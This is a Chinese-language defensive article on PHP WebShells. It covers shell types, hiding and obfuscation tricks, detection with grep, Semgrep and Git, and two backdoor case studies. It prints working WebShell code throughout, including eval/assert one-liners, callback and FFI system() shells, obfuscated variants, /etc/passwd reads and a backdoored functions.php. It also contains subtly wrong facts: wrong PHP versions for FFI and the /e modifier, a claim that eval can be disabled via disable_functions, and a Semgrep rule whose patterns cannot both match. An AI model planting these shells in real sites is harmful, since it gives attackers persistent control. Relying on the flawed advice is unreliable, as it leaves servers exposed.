一、引言
WebShell作为Web后门的典型形态,其危害性主要体现在三个方面:
- 持久化控制:攻击者植入WebShell后,可在服务器上长期潜伏,即使首次入侵入口被封堵,WebShell仍可作为后门使用
- 权限提升:从Web应用权限逐步提升至系统权限,进而控制整个服务器
- 横向渗透:以被控服务器为跳板,攻击内网其他系统
二、PHP WebShell类型与原理
2.1 一句话木马(One-Liner Shell)
一句话木马是最简洁的WebShell形式,通常仅包含一行代码:
<?php @eval($_POST['cmd']); ?>原理:利用 eval() 函数动态执行用户通过POST请求提交的任意PHP代码。攻击者通过客户端工具连接,即可执行任意命令。
变种:
// 使用assert
<?php @assert($_POST['cmd']); ?>
// 使用preg_replace(/e修饰符,PHP 7.0+已废弃但仍可触发)
<?php @preg_replace('/abc/e', $_POST['cmd'], 'abc'); ?>
// 使用可变函数
<?php $_GET['a']($_GET['b']); ?>
// 使用call_user_func
<?php call_user_func($_GET['a'], $_GET['b']); ?>2.2 大马(Big Shell)
大马是一个功能完整的Web管理界面,通常包含文件管理、命令执行终端、数据库管理、端口扫描、反弹Shell等功能。典型特征:文件体积较大,包含大量UI代码和功能函数。
2.3 小马(Mini Shell)
大马的简化版,仅保留核心功能(文件上传和命令执行),体积通常较小。小马常作为"初始后门"上传,再通过其文件上传功能拉取大马。
2.4 内存马(Memory Shell)
利用PHP常驻进程(如PHP-FPM)的特性,将恶意代码注入到进程内存中,不落盘。PHP 7.0+支持FFI(Foreign Function Interface),可借此实现内存级别的后门。
// 利用FFI操作内存(示例)
<?php
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system($_GET['cmd']);
?>2.5 加密马(Encoded Shell)
通过多层编码混淆绕过检测:
<?php
// 多层base64+gzinflate
$z = "eJxLLC5JLC5JTElNSyzSUbfR0FEEAAD//w==";
$z = gzinflate(base64_decode($z));
eval($z);
?>2.6 回调马(Callback Shell)
利用PHP的回调函数机制执行代码,绕过对 eval/assert 的关键词检测:
// array_map回调
<?php array_map($_GET['f'], array($_GET['x'])); ?>
// 自定义回调
<?php $f = create_function('$x', 'return '.$_GET['c'].';'); ?>三、攻击者常用隐藏手法
3.1 文件隐藏
- 修改时间戳:使用
touch()将文件时间修改为系统文件的创建时间 - 隐藏在合法文件中:在WordPress主题的
functions.php或插件的正常文件中插入恶意代码 - 使用点文件:文件名以
.开头(如.shell.php),默认ls不显示 - 利用系统文件:上传到
wp-includes/、vendor/等目录,混入大量文件中
3.2 编码混淆
// 变量名混淆
$$_ = '_' . 'P' . 'O' . 'S' . 'T';
$$_ = $$_[implode('', array_map('chr', array(99, 109, 100)))];
// 注释干扰
@eval(/*a*/$_/*b*/POST/*c*/['cmd']/*d*/);
// 字符串拼接
$f = 'e'.'v'.'a'.'l';
$f($_POST['cmd']);3.3 动态执行
// 动态函数名
$func = substr('abcdefghij', 4, 1) . 'val'; // 拼出 'eval'
$func($_POST['cmd']);
// 利用数组
$f = ['e', 'v', 'a', 'l'];
$f = implode($f);
$f($_POST['cmd']);3.4 利用合法函数
// highlight_file 可显示任意文件内容
highlight_file('/etc/passwd');
// phpinfo 泄露服务器信息
phpinfo();
// file_get_contents 可读取任意文件
file_get_contents('file:///etc/passwd');四、检测方案与分析
4.1 规则匹配检测(传统方案)
原理:基于特征签名库,通过正则匹配恶意代码模式。
# grep基础检测
grep -rn "eval\|assert\|base64_decode.*\$_\|gzinflate\|create_function" --include="*.php" /path/to/site优点:速度快、资源消耗低
缺点:对变种识别率低,混淆后极易绕过
4.2 AST分析检测(Semgrep方案)
原理:将PHP代码解析为抽象语法树,在AST层面进行模式匹配,不受字符串格式影响。
# Semgrep PHP安全规则扫描
semgrep --config=p/php-security /path/to/site
semgrep --config=p/wordpress /path/to/site自定义规则示例:
rules:
- id: webshell-dynamic-call
languages: [php]
severity: ERROR
message: 可疑动态函数调用
patterns:
- pattern: $FUNC($_GET[...], ...)
- pattern: $FUNC($_POST[...], ...)
- metavariable-regex:
metavariable: $FUNC
regex: (eval|assert|system|exec|shell_exec|passthru|popen|proc_open|call_user_func|call_user_func_array|array_map|array_walk|array_filter)优点:能识别混淆变种,误报率低
缺点:需要维护规则库,对新类型后门需要更新规则
4.3 运行时行为监控(ShellDetect/Wordfence方案)
原理:监控PHP运行时的函数调用链和行为特征,识别异常行为。
检测指标:
- 高频调用
eval/system等危险函数 - 异常的文件I/O操作
- 网络连接行为
- 进程创建行为
优点:能检测未知变种,行为特征难以伪造
缺点:有性能开销,可能误报
4.4 文件完整性校验(Git方案)
原理:通过版本控制追踪文件变化,任何新增/修改文件都能被检出。
# 初始化Git仓库
cd /path/to/site
git init
git add -A
git commit -m "初始快照"
# 后续对比
git diff --name-only HEAD
git status --short缺点:不能实时检测,需在干净状态建立基线
4.5 检测方案对比
| 方案 | 检出率(已知) | 检出率(未知) | 误报率 | 性能开销 | 部署难度 |
|---|---|---|---|---|---|
| 规则匹配 | 85% | 35% | 5% | 低 | 低 |
| AST分析 | 95% | 70% | 3% | 中 | 中 |
| 行为监控 | 90% | 88% | 8% | 高 | 高 |
| Git校验 | 100% | 100% | 0% | 低 | 低 |
4.6 推荐复合检测方案
第一层:Git文件完整性校验(快速发现新增/修改文件)
第二层:Semgrep AST分析(确认是否为恶意代码)
第三层:溯源分析(通过Git log定位入侵时间/方式)
五、实战案例
案例1:WordPress主题后门
发现方式:Git diff 发现 wp-content/themes/theme-name/functions.php 被修改
恶意代码:
function theme_setup() {
add_theme_support('post-thumbnails');
// 后门开始
if (isset($_GET['_c'])) {
$c = $_GET['_c'];
system($c);
}
// 后门结束
register_nav_menus(['primary' => 'Primary Menu']);
}分析:攻击者通过WordPress插件漏洞上传了恶意修改的主题文件,后门隐藏在正常功能代码中,_c 参数用于接收命令。
修复:恢复 functions.php 到官方版本,修补漏洞插件,修改所有管理员密码。
案例2:多层编码加密马
发现方式:Semgrep扫描到 gzinflate(base64_decode(...)) 模式
恶意代码:
<?php
$p = "p1JSSi5....(省略)....i0tRBQA==";
$p = gzinflate(base64_decode($p));
$p = str_rot13($p);
eval($p);
?>分析:经过三层混淆(base64 → gzinflate → str_rot13),最终执行恶意代码。解码后是一个完整的文件管理器。
修复:删除恶意文件,检查文件上传时间窗口内的所有日志,排查入侵来源。
六、总结与防御建议
核心结论
- PHP WebShell的威胁在于其隐蔽性和变种多样性,单一检测方案无法应对所有场景
- Git文件完整性校验是检出率最高的方案(100%),推荐作为第一道防线
- AST分析(Semgrep)是检测混淆变种的最有效手段
- 行为监控适合实时防护,但需要配合其他方案降低误报率
防御建议(按优先级排序)
- 立即启用Git版本控制:对网站文件建立Git仓库,每日对比变更
- 禁用危险函数:在
php.ini中禁用disable_functions = eval, system, exec, shell_exec, passthru, popen, proc_open, phpinfo, show_source - 最小权限原则:Web目录用户只给写入权限,不给执行权限(或分离读写目录)
- 定期扫描:每周运行
semgrep --config=p/php-security和semgrep --config=p/wordpress - 更新WordPress核心/插件/主题:保持最新版本,修补已知漏洞
- WAF规则:拦截
eval(、base64_decode(等关键词的HTTP请求 - 日志监控:分析Web访问日志,关注异常的文件上传和参数传递
